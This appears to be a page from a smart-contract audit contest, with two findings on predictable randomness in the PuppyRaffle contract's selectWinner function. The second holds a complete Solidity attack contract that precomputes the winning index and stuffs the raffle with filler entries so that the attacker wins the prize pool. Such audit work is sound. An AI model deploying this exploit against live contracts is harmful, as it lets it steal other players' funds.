Normal Behavior:
The PuppyRaffle::selectWinner function is intended to randomly select a winner from the list of players after the raffle duration ends. It uses a pseudo-random number generator to determine the winner.
Specific Issue:
The function generates randomness by hashing predictable on-chain values: msg.sender, block.timestamp, and block.difficulty. Since these values are publicly known before the transaction is mined (and block.timestamp can be slightly manipulated by validators), an attacker can predict the winning index or wait for a favorable block to guarantee they win the raffle.
Likelihood:
The attacker can pre-compute the hash locally using the current block.timestamp and block.difficulty.
The attacker can choose a favorable msg.sender address or wait for a future block where the result favors them.
Impact:
The attacker can guarantee they win the raffle, stealing the entire prize pool.
Other players lose their entrance fees and have no chance of winning.
The following Foundry test demonstrates the vulnerability. The attacker first enters the raffle, then predicts the winner index using the exact same formula as selectWinner(). Because the randomness depends only on predictable on-chain values (msg.sender, block.timestamp, block.difficulty), the attacker can loop through different timestamps until the computed index favors them. Once a favorable timestamp is found, the attacker calls selectWinner() and wins the entire prize pool.
The root cause is the use of predictable on-chain values for randomness. The recommended fix is to replace the current randomness source with Chainlink VRF, which provides cryptographically secure and verifiable random numbers. The diff above shows the removal of the vulnerable keccak256 line and the addition of a VRF-based request/callback flow. The fulfillRandomWords callback uses the VRF-provided random word to select the winner, eliminating any possibility of prediction or manipulation by the attacker.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.